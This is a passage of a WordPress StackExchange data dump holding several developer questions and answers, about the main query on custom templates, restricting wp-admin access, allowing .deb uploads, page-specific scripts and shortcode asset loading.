'db_id' => $id,
'url' => 'URL'
);
$items[] = (object) $link;
}
return $items;
}
``` |
254,328 | <p>I have a question about reasons why the main query would call the current page's info when using a template file, instead of querying the posts. </p>
<p>If I modify the loop by creating a custom query using <code>new WP_query</code>, I can access the all the posts on my custom template as I want. However, when I try use the main loop/query on my custom template, with plain-old <code>have posts()</code>and <code>the_post()</code> my page seems to querying info about the current page (e.g. when the_title and the_date match that of the current page, not my posts). </p>
<p>What is weird that this doesn't seem to be the case for my front-page. The main query for the front page is fine. Any ideas about why the main functions for the loop like "have posts" would call current the page for the template's info instead of querying the posts? What have I done wrong?</p>
<p>I used <code>wp_reset_query()</code> after the all loops when i use the main loop, and <code>wp_reset_postdata()</code> after all loops where I used <code>new WP_query</code>.</p>
<p>UPDATE:</p>
<p>Thanks to <code>@Milo</code>'s answer, I have figured out that I misunderstood how WordPress works. I wanted to have custom templates for the achive page for a certain category, e.g. the category "special". </p>
<p>I was using: </p>
<ol>
<li>a custom template for the category, with an arbitrary name (e.g. <code>special.php</code>) </li>
<li>and a category-archive reroute in archives.php, which pointed the category to my file , e.g. <code>special.php</code></li>
</ol>
<p>I was trying to use the main post query with those custom pages/templates, with arbitrary names. </p>
<p>I now realize that I can accomplish custom category pages that use a post-based main query more elegantly without the rerouting/archive.php solution. The better way is to rename the custom category .php file that I created, that had an arbitrary name ( e.g. <code>special.php</code>) with a name that matches WordPress' native category convention. This convention requires you to use a <code>category-</code> prefix in conjunction with the target category-name (e.g <code>category-special.php</code>). </p>
<p>I renamed that custom .php file with the a name using this <code>category-</code> convention, and deleted the rerouting I had created in archives.php. After taking those two steps, I was able grab posts of those categories only using the main loop functions (e.g. <code>have_post()</code> and <code>the_post</code>) AND have custom design/elements/html/php for that category. </p>
<p>Thanks <code>@Milo</code>!</p>
<p>There are a lot of intricacies to discover in WordPress but its nice to figure them out!</p>
| [
{
"answer_id": 254322,
"author": "Tom",
"author_id": 51187,
"author_profile": "https://wordpress.stackexchange.com/users/51187",
"pm_score": 0,
"selected": false,
"text": "<p>Can you describe why you want to do it through code rather than the admin panel?</p>\n\n<p>Your answer might be found in <a href=\"https://developer.wordpress.org/reference/functions/wp_nav_menu/\" rel=\"nofollow noreferrer\">wp_nav_menu</a>. Search around for how to display submenus… such as described <a href=\"http://www.ordinarycoder.com/wordpress-wp_nav_menu-show-a-submenu-only/\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
},
{
"answer_id": 254331,
"author": "Vishal Kumar Sahu",
"author_id": 101300,
"author_profile": "https://wordpress.stackexchange.com/users/101300",
"pm_score": 0,
"selected": false,
"text": "<p>I think you get caught in providing the parent slug to the submenu function. Here is the example code and structure from codex for the function <code>add_submenu_page</code> which may help you understand to get your solution.</p>\n\n<pre><code>add_action( 'admin_menu', 'my_custom_menu' );\n\nfunction my_custom_menu(){\n\n //add_menu_page( string $page_title, string $menu_title, string $capability, string $menu_slug, callable $function = '', string $icon_url = '', int $position = null )\n\n\n\n //add_submenu_page( string $parent_slug, string $page_title, string $menu_title, string $capability, string $menu_slug, callable $function = '' );\n\n add_submenu_page( 'custom-options', 'Edit Image', 'Edit Images', 'manage_categories', 'edit-images', function_to_handle_the_request );\n}\n\n\nfunction function_to_handle_the_request(){\n print '<div class=\"wrap\">';\n\n $file = \"/path-to-your-file\"; //get_stylesheet_directory() may be helpful\n\n if ( file_exists( $file ) )\n require $file;\n\n print '</div>';\n}\n</code></pre>\n"
},
{
"answer_id": 254527,
"author": "Developer",
"author_id": 112001,
"author_profile": "https://wordpress.stackexchange.com/users/112001",
"pm_score": 2,
"selected": true,
"text": "<p>I got the answer, here it is: I want to add submenus ffrom database to the menu named 'Products'</p>\n\n<p>Create a custom plugin and install it through Admin panel. Inside the functions.php write this code. This is upgrade safe way and will not brake if the theme is updated.</p>\n\n<pre><code>add_filter( 'wp_nav_menu_objects', 'ravs_add_menu_parent_class' );\n function ravs_add_menu_parent_class( $items ) {\n $results = 'SOME SQL QUERY';\n foreach ( $items as $item ) {\n $title = $item->title;\n $ID = $item->ID;\n if($title=='Products')\n $parentId = $ID;\n }\n foreach ( $results as $result ) {\n $name = $result->name;\n $id = $result->id;\n $link = array (\n 'title' => $name,\n 'menu_item_parent' => $parentId,\n 'ID' => $id,\n 'db_id' => $id,\n 'url' => 'URL'\n );\n\n $items[] = (object) $link;\n }\n return $items; \n}\n</code></pre>\n"
}
]
| 2017/01/28 | [
"https://wordpress.stackexchange.com/questions/254328",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/105196/"
]
| I have a question about reasons why the main query would call the current page's info when using a template file, instead of querying the posts.
If I modify the loop by creating a custom query using `new WP_query`, I can access the all the posts on my custom template as I want. However, when I try use the main loop/query on my custom template, with plain-old `have posts()`and `the_post()` my page seems to querying info about the current page (e.g. when the\_title and the\_date match that of the current page, not my posts).
What is weird that this doesn't seem to be the case for my front-page. The main query for the front page is fine. Any ideas about why the main functions for the loop like "have posts" would call current the page for the template's info instead of querying the posts? What have I done wrong?
I used `wp_reset_query()` after the all loops when i use the main loop, and `wp_reset_postdata()` after all loops where I used `new WP_query`.
UPDATE:
Thanks to `@Milo`'s answer, I have figured out that I misunderstood how WordPress works. I wanted to have custom templates for the achive page for a certain category, e.g. the category "special".
I was using:
1. a custom template for the category, with an arbitrary name (e.g. `special.php`)
2. and a category-archive reroute in archives.php, which pointed the category to my file , e.g. `special.php`
I was trying to use the main post query with those custom pages/templates, with arbitrary names.
I now realize that I can accomplish custom category pages that use a post-based main query more elegantly without the rerouting/archive.php solution. The better way is to rename the custom category .php file that I created, that had an arbitrary name ( e.g. `special.php`) with a name that matches WordPress' native category convention. This convention requires you to use a `category-` prefix in conjunction with the target category-name (e.g `category-special.php`).
I renamed that custom .php file with the a name using this `category-` convention, and deleted the rerouting I had created in archives.php. After taking those two steps, I was able grab posts of those categories only using the main loop functions (e.g. `have_post()` and `the_post`) AND have custom design/elements/html/php for that category.
Thanks `@Milo`!
There are a lot of intricacies to discover in WordPress but its nice to figure them out! | I got the answer, here it is: I want to add submenus ffrom database to the menu named 'Products'
Create a custom plugin and install it through Admin panel. Inside the functions.php write this code. This is upgrade safe way and will not brake if the theme is updated.
```
add_filter( 'wp_nav_menu_objects', 'ravs_add_menu_parent_class' );
function ravs_add_menu_parent_class( $items ) {
$results = 'SOME SQL QUERY';
foreach ( $items as $item ) {
$title = $item->title;
$ID = $item->ID;
if($title=='Products')
$parentId = $ID;
}
foreach ( $results as $result ) {
$name = $result->name;
$id = $result->id;
$link = array (
'title' => $name,
'menu_item_parent' => $parentId,
'ID' => $id,
'db_id' => $id,
'url' => 'URL'
);
$items[] = (object) $link;
}
return $items;
}
``` |
254,334 | <p>I added this to my functions.php to restrict non-admin access to wp-admin by redirecting the non-admin to the home page. However, this does not work for users who aren't users (users who are not logged in).</p>
<p>How can I include visitors who are not users in this script?</p>
<pre><code>/**
* Restrict access to the administration screens.
*
* Only administrators will be allowed to access the admin screens,
* all other users will be automatically redirected to the front of
* the site instead.
*
* We do allow access for Ajax requests though, since these may be
* initiated from the front end of the site by non-admin users.
*/
function restrict_admin_with_redirect() {
if ( ! current_user_can( 'manage_options' ) && ( ! wp_doing_ajax() ) ) {
wp_redirect( site_url() );
exit;
}
}
add_action( 'admin_init', 'restrict_admin_with_redirect', 1 );
</code></pre>
<p><strong>FYI: I created a custom log-in form on a page other than wp-admin so this will not lock out admin</strong></p>
<p><strong>EDIT 2: this is in the functions.php file which may be complicating the issue since when a non-user accesses wp-admin, the server is treating that access as a failed log-in attempt and redirecting the user to the "access-denied" page and not a 404</strong></p>
<pre><code>/**
* Redirect user on invalid log-in attempts
*/
function login_failed() {
$login_page = home_url( '/access-denied' );
wp_redirect( $login_page . '?login=failed' );
exit;
}
add_action( 'wp_login_failed', 'login_failed' );
function verify_username_password( $user, $username, $password ) {
$login_page = home_url( '/access-denied' );
if( $username == "" || $password == "" ) {
wp_redirect( $login_page . "?login=empty" );
exit;
}
}
add_filter( 'authenticate', 'verify_username_password', 1, 3);
</code></pre>
| [
{
"answer_id": 254322,
"author": "Tom",
"author_id": 51187,
"author_profile": "https://wordpress.stackexchange.com/users/51187",
"pm_score": 0,
"selected": false,
"text": "<p>Can you describe why you want to do it through code rather than the admin panel?</p>\n\n<p>Your answer might be found in <a href=\"https://developer.wordpress.org/reference/functions/wp_nav_menu/\" rel=\"nofollow noreferrer\">wp_nav_menu</a>. Search around for how to display submenus… such as described <a href=\"http://www.ordinarycoder.com/wordpress-wp_nav_menu-show-a-submenu-only/\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
},
{
"answer_id": 254331,
"author": "Vishal Kumar Sahu",
"author_id": 101300,
"author_profile": "https://wordpress.stackexchange.com/users/101300",
"pm_score": 0,
"selected": false,
"text": "<p>I think you get caught in providing the parent slug to the submenu function. Here is the example code and structure from codex for the function <code>add_submenu_page</code> which may help you understand to get your solution.</p>\n\n<pre><code>add_action( 'admin_menu', 'my_custom_menu' );\n\nfunction my_custom_menu(){\n\n //add_menu_page( string $page_title, string $menu_title, string $capability, string $menu_slug, callable $function = '', string $icon_url = '', int $position = null )\n\n\n\n //add_submenu_page( string $parent_slug, string $page_title, string $menu_title, string $capability, string $menu_slug, callable $function = '' );\n\n add_submenu_page( 'custom-options', 'Edit Image', 'Edit Images', 'manage_categories', 'edit-images', function_to_handle_the_request );\n}\n\n\nfunction function_to_handle_the_request(){\n print '<div class=\"wrap\">';\n\n $file = \"/path-to-your-file\"; //get_stylesheet_directory() may be helpful\n\n if ( file_exists( $file ) )\n require $file;\n\n print '</div>';\n}\n</code></pre>\n"
},
{
"answer_id": 254527,
"author": "Developer",
"author_id": 112001,
"author_profile": "https://wordpress.stackexchange.com/users/112001",
"pm_score": 2,
"selected": true,
"text": "<p>I got the answer, here it is: I want to add submenus ffrom database to the menu named 'Products'</p>\n\n<p>Create a custom plugin and install it through Admin panel. Inside the functions.php write this code. This is upgrade safe way and will not brake if the theme is updated.</p>\n\n<pre><code>add_filter( 'wp_nav_menu_objects', 'ravs_add_menu_parent_class' );\n function ravs_add_menu_parent_class( $items ) {\n $results = 'SOME SQL QUERY';\n foreach ( $items as $item ) {\n $title = $item->title;\n $ID = $item->ID;\n if($title=='Products')\n $parentId = $ID;\n }\n foreach ( $results as $result ) {\n $name = $result->name;\n $id = $result->id;\n $link = array (\n 'title' => $name,\n 'menu_item_parent' => $parentId,\n 'ID' => $id,\n 'db_id' => $id,\n 'url' => 'URL'\n );\n\n $items[] = (object) $link;\n }\n return $items; \n}\n</code></pre>\n"
}
]
| 2017/01/28 | [
"https://wordpress.stackexchange.com/questions/254334",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111846/"
]
| I added this to my functions.php to restrict non-admin access to wp-admin by redirecting the non-admin to the home page. However, this does not work for users who aren't users (users who are not logged in).
How can I include visitors who are not users in this script?
```
/**
* Restrict access to the administration screens.
*
* Only administrators will be allowed to access the admin screens,
* all other users will be automatically redirected to the front of
* the site instead.
*
* We do allow access for Ajax requests though, since these may be
* initiated from the front end of the site by non-admin users.
*/
function restrict_admin_with_redirect() {
if ( ! current_user_can( 'manage_options' ) && ( ! wp_doing_ajax() ) ) {
wp_redirect( site_url() );
exit;
}
}
add_action( 'admin_init', 'restrict_admin_with_redirect', 1 );
```
**FYI: I created a custom log-in form on a page other than wp-admin so this will not lock out admin**
**EDIT 2: this is in the functions.php file which may be complicating the issue since when a non-user accesses wp-admin, the server is treating that access as a failed log-in attempt and redirecting the user to the "access-denied" page and not a 404**
```
/**
* Redirect user on invalid log-in attempts
*/
function login_failed() {
$login_page = home_url( '/access-denied' );
wp_redirect( $login_page . '?login=failed' );
exit;
}
add_action( 'wp_login_failed', 'login_failed' );
function verify_username_password( $user, $username, $password ) {
$login_page = home_url( '/access-denied' );
if( $username == "" || $password == "" ) {
wp_redirect( $login_page . "?login=empty" );
exit;
}
}
add_filter( 'authenticate', 'verify_username_password', 1, 3);
``` | I got the answer, here it is: I want to add submenus ffrom database to the menu named 'Products'
Create a custom plugin and install it through Admin panel. Inside the functions.php write this code. This is upgrade safe way and will not brake if the theme is updated.
```
add_filter( 'wp_nav_menu_objects', 'ravs_add_menu_parent_class' );
function ravs_add_menu_parent_class( $items ) {
$results = 'SOME SQL QUERY';
foreach ( $items as $item ) {
$title = $item->title;
$ID = $item->ID;
if($title=='Products')
$parentId = $ID;
}
foreach ( $results as $result ) {
$name = $result->name;
$id = $result->id;
$link = array (
'title' => $name,
'menu_item_parent' => $parentId,
'ID' => $id,
'db_id' => $id,
'url' => 'URL'
);
$items[] = (object) $link;
}
return $items;
}
``` |
254,351 | <pre><code>sudo vim /var/www/html/wp/wp-config.php
define('ALLOW_UNFILTERED_UPLOADS', true);
</code></pre>
<p>I have add the line in wp-config.php.
<a href="https://i.stack.imgur.com/cbktk.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/cbktk.png" alt="enter image description here"></a></p>
<p>why still can't upload deb package whose size is only 5m in my wordpress?</p>
<p><a href="https://i.stack.imgur.com/3sbWX.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3sbWX.png" alt="enter image description here"></a></p>
| [
{
"answer_id": 254352,
"author": "hcheung",
"author_id": 111577,
"author_profile": "https://wordpress.stackexchange.com/users/111577",
"pm_score": 0,
"selected": false,
"text": "<p>I think the error message speak for itself. The \"file type is not allowed\". WordPress upload only allowed for certain file types, see <a href=\"https://codex.wordpress.org/Uploading_Files\" rel=\"nofollow noreferrer\">Uploading Files</a>.</p>\n"
},
{
"answer_id": 254354,
"author": "showkey",
"author_id": 70405,
"author_profile": "https://wordpress.stackexchange.com/users/70405",
"pm_score": -1,
"selected": false,
"text": "<p>sudo vim /var/www/html/wp/wp-includes/functions.php</p>\n\n<pre><code>add_filter('upload_mimes','custom_upload_mimes');\nfunction custom_upload_mimes ( $existing_mimes=array() ) {\n $existing_mimes['deb'] = 'application/deb';\n return $existing_mimes;\n}\n</code></pre>\n"
}
]
| 2017/01/29 | [
"https://wordpress.stackexchange.com/questions/254351",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/70405/"
]
| ```
sudo vim /var/www/html/wp/wp-config.php
define('ALLOW_UNFILTERED_UPLOADS', true);
```
I have add the line in wp-config.php.
[](https://i.stack.imgur.com/cbktk.png)
why still can't upload deb package whose size is only 5m in my wordpress?
[](https://i.stack.imgur.com/3sbWX.png) | I think the error message speak for itself. The "file type is not allowed". WordPress upload only allowed for certain file types, see [Uploading Files](https://codex.wordpress.org/Uploading_Files). |
254,355 | <p>I want to use the <code>the_title()</code> function to get the title of a post and then reference that title in an array. Code is as follows:</p>
<pre><code> <?php
$title = array(
the_title()
);
$args = array(
'post_type' => array( 'questions' ), 'content' => array( $title )
);
</code></pre>
<p>So I want to take the post title and use the <code>$args</code> variable to find posts that have post type = 'questions' and have the current post's title as their value for the 'content' taxonomy.</p>
<p>Currently it isn't working. The post I'm testing on has title 'Book1'and it works when I change the <code>$args</code> line to:</p>
<pre><code>$args = array(
'post_type' => array( 'questions' ), 'content' => array( 'Book1' )
</code></pre>
<p>But with the code I listed first, it doesn't work...</p>
<p>EDIT: yep, it was simple: just needed to change it to 'content' => $title because $title is already an array. Thanks all!</p>
| [
{
"answer_id": 254352,
"author": "hcheung",
"author_id": 111577,
"author_profile": "https://wordpress.stackexchange.com/users/111577",
"pm_score": 0,
"selected": false,
"text": "<p>I think the error message speak for itself. The \"file type is not allowed\". WordPress upload only allowed for certain file types, see <a href=\"https://codex.wordpress.org/Uploading_Files\" rel=\"nofollow noreferrer\">Uploading Files</a>.</p>\n"
},
{
"answer_id": 254354,
"author": "showkey",
"author_id": 70405,
"author_profile": "https://wordpress.stackexchange.com/users/70405",
"pm_score": -1,
"selected": false,
"text": "<p>sudo vim /var/www/html/wp/wp-includes/functions.php</p>\n\n<pre><code>add_filter('upload_mimes','custom_upload_mimes');\nfunction custom_upload_mimes ( $existing_mimes=array() ) {\n $existing_mimes['deb'] = 'application/deb';\n return $existing_mimes;\n}\n</code></pre>\n"
}
]
| 2017/01/29 | [
"https://wordpress.stackexchange.com/questions/254355",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112022/"
]
| I want to use the `the_title()` function to get the title of a post and then reference that title in an array. Code is as follows:
```
<?php
$title = array(
the_title()
);
$args = array(
'post_type' => array( 'questions' ), 'content' => array( $title )
);
```
So I want to take the post title and use the `$args` variable to find posts that have post type = 'questions' and have the current post's title as their value for the 'content' taxonomy.
Currently it isn't working. The post I'm testing on has title 'Book1'and it works when I change the `$args` line to:
```
$args = array(
'post_type' => array( 'questions' ), 'content' => array( 'Book1' )
```
But with the code I listed first, it doesn't work...
EDIT: yep, it was simple: just needed to change it to 'content' => $title because $title is already an array. Thanks all! | I think the error message speak for itself. The "file type is not allowed". WordPress upload only allowed for certain file types, see [Uploading Files](https://codex.wordpress.org/Uploading_Files). |
254,389 | <p>I'm trying to enqueue comment-reply.js script only on a certain page but something is wrong with my code. Can someone hint things here?</p>
<pre><code><?php if ( is_singular('1740') && (!is_home() || !is_front_page() || !is_single()) && comments_open() && get_option('thread_comments') ) wp_enqueue_script( 'comment-reply' ); ?>
</code></pre>
| [
{
"answer_id": 254442,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 0,
"selected": false,
"text": "<p>I've sometimes struggled with the proper placement of plugins folder structure in Subversion. The process that works for me:</p>\n\n<ul>\n<li>base (root) folder of your plugin folder: the ZIP and uncompressed files of your latest version of the plugin</li>\n<li>the 'trunk' folder : ZIP + uncompressed files of latest version</li>\n<li>the 'tag' folder: create a subfolder that matches the 'Version\" Parameter in your plugin header, then put the ZIP/Uncompressed files in there.</li>\n</ul>\n\n<p>Do this on your local Subversion folder, then SVN Commit up to the WordPRess Subversion area , then SVN Update to get the versioning synced to your local Subversion area.</p>\n\n<p>This is what has worked for me; I suspect there might be some fine-tuning needed (like not needing the uncompressed files everywhere..)</p>\n"
},
{
"answer_id": 254443,
"author": "Kenneth Odle",
"author_id": 111488,
"author_profile": "https://wordpress.stackexchange.com/users/111488",
"pm_score": 1,
"selected": false,
"text": "<p>The WordPress plugin repository always starts with what is in trunk. It reads down to the \"Stable Tag\" label. If the stable tag is \"trunk\" it continues reading from trunk. This is what people who download your plugin will get.</p>\n\n<p>If, however, the stable tag label is a tag (in this case, 1.0.7), it quits reading trunk and goes to that tag directory and reads from there. This is what people who download your plugin will get.</p>\n\n<p>If you are adding a new tagged version, you need to add that directory to tag, and then update the stable tag in trunk. You also need to give the repository a few minutes to update. Changes are not immediate.</p>\n"
}
]
| 2017/01/29 | [
"https://wordpress.stackexchange.com/questions/254389",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/18693/"
]
| I'm trying to enqueue comment-reply.js script only on a certain page but something is wrong with my code. Can someone hint things here?
```
<?php if ( is_singular('1740') && (!is_home() || !is_front_page() || !is_single()) && comments_open() && get_option('thread_comments') ) wp_enqueue_script( 'comment-reply' ); ?>
``` | The WordPress plugin repository always starts with what is in trunk. It reads down to the "Stable Tag" label. If the stable tag is "trunk" it continues reading from trunk. This is what people who download your plugin will get.
If, however, the stable tag label is a tag (in this case, 1.0.7), it quits reading trunk and goes to that tag directory and reads from there. This is what people who download your plugin will get.
If you are adding a new tagged version, you need to add that directory to tag, and then update the stable tag in trunk. You also need to give the repository a few minutes to update. Changes are not immediate. |
254,393 | <p>I am modifying my main queries with a function, <code>modify_main_query($query)</code>, that determines which page is being accessed by the user via if/else statement, and then modifies the query accordingly. I am adding that function using this hook:</p>
<h3>The main function's hook</h3>
<p><code>add_action('pre_get_posts', 'modify_main_query')</code></p>
<p>One of my if clauses (for a certain page) inside of <code>modify_main_query($query)</code> calls a small function, called <code>get_exclusion_IDs_for_cats_by_name($cat_names)</code>.</p>
<p>this is a simplified version:</p>
<h3>The Main hook-added function</h3>
<pre>
function modify_main_query($query){
if ( is_front_page() ) {
[...do stuff]
}
elseif ( is_archive() ) {
$cat_names=array('apple', 'orange');
<b>get_exclusion_IDs_for_cats_by_name($cat_names)</b>; // small function I want to add
}
else {NULL;}
endif;
</pre>
<h3>My question</h3>
<p>What is the proper way to add this small function, <code>get_exclusion_IDs_for_cats_by_name($cat_names)</code>, that is called by my action-hooked function, <code>modify_main_query($query)</code>, to functions.php? Do I just throw the small function into functions.php, or do I need a separate hook for the mini-function? It works if I just add the called function separately without a hook but I wanted to check, to make sure I am doing it in the preferred way.</p>
<p>Thanks!</p>
| [
{
"answer_id": 254406,
"author": "prosti",
"author_id": 88606,
"author_profile": "https://wordpress.stackexchange.com/users/88606",
"pm_score": 3,
"selected": true,
"text": "<p>This looks good. If we assume <code>get_exclusion_IDs_for_cats_by_name($cat_names);</code> works correct then you are doing it right. </p>\n\n<p>Your question may be rephrased like this:</p>\n\n<blockquote>\n <p>Can I call other functions inside the custom actions? </p>\n</blockquote>\n\n<p>And the answer is <strong>yes</strong>. The only thing you need to be careful is that your other function is <em>available</em> from where you call it.</p>\n"
},
{
"answer_id": 254440,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 0,
"selected": false,
"text": "<p>If you are not using your own-built theme, then it is usually recommended to create a Child Theme, then put your unique functions in that Child Theme's functions.php file.</p>\n\n<p>That way, your functions will not be overwritten with an update to the theme you are using. It's always a good idea to never make changes to core files, nor to themes you are using.</p>\n\n<p>If you are building your own theme, then add functions where needed.</p>\n"
}
]
| 2017/01/29 | [
"https://wordpress.stackexchange.com/questions/254393",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/105196/"
]
| I am modifying my main queries with a function, `modify_main_query($query)`, that determines which page is being accessed by the user via if/else statement, and then modifies the query accordingly. I am adding that function using this hook:
### The main function's hook
`add_action('pre_get_posts', 'modify_main_query')`
One of my if clauses (for a certain page) inside of `modify_main_query($query)` calls a small function, called `get_exclusion_IDs_for_cats_by_name($cat_names)`.
this is a simplified version:
### The Main hook-added function
```
function modify_main_query($query){
if ( is_front_page() ) {
[...do stuff]
}
elseif ( is_archive() ) {
$cat_names=array('apple', 'orange');
**get\_exclusion\_IDs\_for\_cats\_by\_name($cat\_names)**; // small function I want to add
}
else {NULL;}
endif;
```
### My question
What is the proper way to add this small function, `get_exclusion_IDs_for_cats_by_name($cat_names)`, that is called by my action-hooked function, `modify_main_query($query)`, to functions.php? Do I just throw the small function into functions.php, or do I need a separate hook for the mini-function? It works if I just add the called function separately without a hook but I wanted to check, to make sure I am doing it in the preferred way.
Thanks! | This looks good. If we assume `get_exclusion_IDs_for_cats_by_name($cat_names);` works correct then you are doing it right.
Your question may be rephrased like this:
>
> Can I call other functions inside the custom actions?
>
>
>
And the answer is **yes**. The only thing you need to be careful is that your other function is *available* from where you call it. |
254,394 | <p>I just added a new page which needed some javascript to pull json(with setInterval) and display content in that page div tag, On digging i discovered we can add script tag in themes/header.php file . </p>
<p>but that means it would load with all the pages or blog maybe, but I just want the javascript to load for that specific page.</p>
<pre><code>function debug_to_console( $data ) {
if ( is_array( $data ) )
$output = "<script>console.log( 'Debug Objects: " . implode( ',', $data) . "' );</script>";
else
$output = "<script>console.log( 'Debug Objects: " . $data . "' );</script>";
echo $output;
}
function loadJScriptforAho(){
if ( $post->ID == 75){
debug_to_console( "Testing" );
}
}
add_action( 'wp_enqueue_scripts', 'loadJScriptforAho' );
</code></pre>
<p>Above code added to <em>functions.php</em> but doesn't work</p>
<p>I'd imagine that might be possible but if someone can share how to that please let me know.</p>
| [
{
"answer_id": 254406,
"author": "prosti",
"author_id": 88606,
"author_profile": "https://wordpress.stackexchange.com/users/88606",
"pm_score": 3,
"selected": true,
"text": "<p>This looks good. If we assume <code>get_exclusion_IDs_for_cats_by_name($cat_names);</code> works correct then you are doing it right. </p>\n\n<p>Your question may be rephrased like this:</p>\n\n<blockquote>\n <p>Can I call other functions inside the custom actions? </p>\n</blockquote>\n\n<p>And the answer is <strong>yes</strong>. The only thing you need to be careful is that your other function is <em>available</em> from where you call it.</p>\n"
},
{
"answer_id": 254440,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 0,
"selected": false,
"text": "<p>If you are not using your own-built theme, then it is usually recommended to create a Child Theme, then put your unique functions in that Child Theme's functions.php file.</p>\n\n<p>That way, your functions will not be overwritten with an update to the theme you are using. It's always a good idea to never make changes to core files, nor to themes you are using.</p>\n\n<p>If you are building your own theme, then add functions where needed.</p>\n"
}
]
| 2017/01/29 | [
"https://wordpress.stackexchange.com/questions/254394",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/102804/"
]
| I just added a new page which needed some javascript to pull json(with setInterval) and display content in that page div tag, On digging i discovered we can add script tag in themes/header.php file .
but that means it would load with all the pages or blog maybe, but I just want the javascript to load for that specific page.
```
function debug_to_console( $data ) {
if ( is_array( $data ) )
$output = "<script>console.log( 'Debug Objects: " . implode( ',', $data) . "' );</script>";
else
$output = "<script>console.log( 'Debug Objects: " . $data . "' );</script>";
echo $output;
}
function loadJScriptforAho(){
if ( $post->ID == 75){
debug_to_console( "Testing" );
}
}
add_action( 'wp_enqueue_scripts', 'loadJScriptforAho' );
```
Above code added to *functions.php* but doesn't work
I'd imagine that might be possible but if someone can share how to that please let me know. | This looks good. If we assume `get_exclusion_IDs_for_cats_by_name($cat_names);` works correct then you are doing it right.
Your question may be rephrased like this:
>
> Can I call other functions inside the custom actions?
>
>
>
And the answer is **yes**. The only thing you need to be careful is that your other function is *available* from where you call it. |
254,397 | <p>I want load some scripts and style only for a specific shortcode. I used</p>
<pre><code>if ( is_a( $post, 'WP_Post' ) && has_shortcode( $post->post_content, 'my_shortcode') ) {}
</code></pre>
<p>It works when I put my shortcode on page but it does not work when I put my shortcode in page template. Like the following one in <strong>index.php</strong> file:</p>
<pre><code>echo do_shortcode( ' [ my_shortcode ] ' );
</code></pre>
<p>Is there any way to load scripts for <strong>[ my_shortcode ]</strong> in <strong>do_shortcode(' [ my_shortcode ] ')</strong> without checking page template.</p>
| [
{
"answer_id": 254419,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 1,
"selected": false,
"text": "<p>Add a filter to <code>pre_do_shortcode_tag</code> and check if $tag is the same as your shortcode tag. If it is, enqueue a script in the footer.</p>\n\n<pre><code>add_filter( 'pre_do_shortcode_tag', function( $a, $tag, $attr, $m ) {\n if( 'my_shortcode_tag' === $tag ) {\n wp_enqueue_script( $handle, $src, $deps, $ver, $in_footer = true );\n }\n return $a;\n}, 10, 4 );\n</code></pre>\n"
},
{
"answer_id": 254423,
"author": "Maqk",
"author_id": 86885,
"author_profile": "https://wordpress.stackexchange.com/users/86885",
"pm_score": 0,
"selected": false,
"text": "<p>I think there is a better way to enqueue or load your scripts first register the script or styles with <code>wp_register_style</code> and <code>wp_register_script</code>.</p>\n\n<p>After registering you can load the script/style when required. For example when you render a shortcode with wp_enqueue_style(\"your_style\") and wp_enqueue_script(\"your_script\").</p>\n\n<p><strong>Example</strong></p>\n\n<pre><code>[my_shortcode other parameters]\n</code></pre>\n\n<p>Add action for the script by registering and enqueuing when required.</p>\n\n<pre><code>function prefix_my_shortcode_wp_enqueue_scripts() {\n wp_register_script( 'my-shortcode-script', plugins_url( 'path/myscript.css' ) );\n}\n\nadd_action( 'wp_enqueue_scripts', 'prefix_my_shortcode_wp_enqueue_scripts' );\n</code></pre>\n\n<p>Your shortcode function</p>\n\n<pre><code>function prefix_function_my_shortcode( $attributes ) {\n extract( shortcode_atts(\n // your shortcode array args\n ));\n\n wp_enqueue_script( 'my-shortcode-script' );\n\n return 'your shortcode output;\n}\n\nadd_shortcode( 'my_shortcode', 'prefix_function_my_shortcode' );\n</code></pre>\n\n<p>Hope that answers your question. Let me know if that helps out.</p>\n"
}
]
| 2017/01/29 | [
"https://wordpress.stackexchange.com/questions/254397",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/51110/"
]
| I want load some scripts and style only for a specific shortcode. I used
```
if ( is_a( $post, 'WP_Post' ) && has_shortcode( $post->post_content, 'my_shortcode') ) {}
```
It works when I put my shortcode on page but it does not work when I put my shortcode in page template. Like the following one in **index.php** file:
```
echo do_shortcode( ' [ my_shortcode ] ' );
```
Is there any way to load scripts for **[ my\_shortcode ]** in **do\_shortcode(' [ my\_shortcode ] ')** without checking page template. | Add a filter to `pre_do_shortcode_tag` and check if $tag is the same as your shortcode tag. If it is, enqueue a script in the footer.
```
add_filter( 'pre_do_shortcode_tag', function( $a, $tag, $attr, $m ) {
if( 'my_shortcode_tag' === $tag ) {
wp_enqueue_script( $handle, $src, $deps, $ver, $in_footer = true );
}
return $a;
}, 10, 4 );
``` |
254,398 | <p>I'm Starting a WordPress website and I'm having a problem with some of my posts.</p>
<p>This issue is only affecting 2 out of 4 articles and after investigating I cannot think on a reason for that.</p>
<p>This error message appears right below comments section:</p>
<blockquote>
<p>Notice: Undefined offset: 0 in
/home/***/public_html/wp-includes/class-wp-query.php on line 3152</p>
</blockquote>
<p>When I search for that line, I find this function:</p>
<p><a href="https://i.stack.imgur.com/ZC0LK.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ZC0LK.png" alt="enter image description here"></a></p>
<p>I have search for this function in my WordPress code and I only found a few matches:</p>
<pre><code>grep -r rewind_posts *
wp-content/themes/magazine/themify/themify-wp-filters.php: rewind_posts();
wp-includes/class-wp-query.php: $this->rewind_posts();
wp-includes/class-wp-query.php: public function rewind_posts() {
wp-includes/feed-rdf.php:<?php rewind_posts(); while (have_posts()): the_post(); ?>
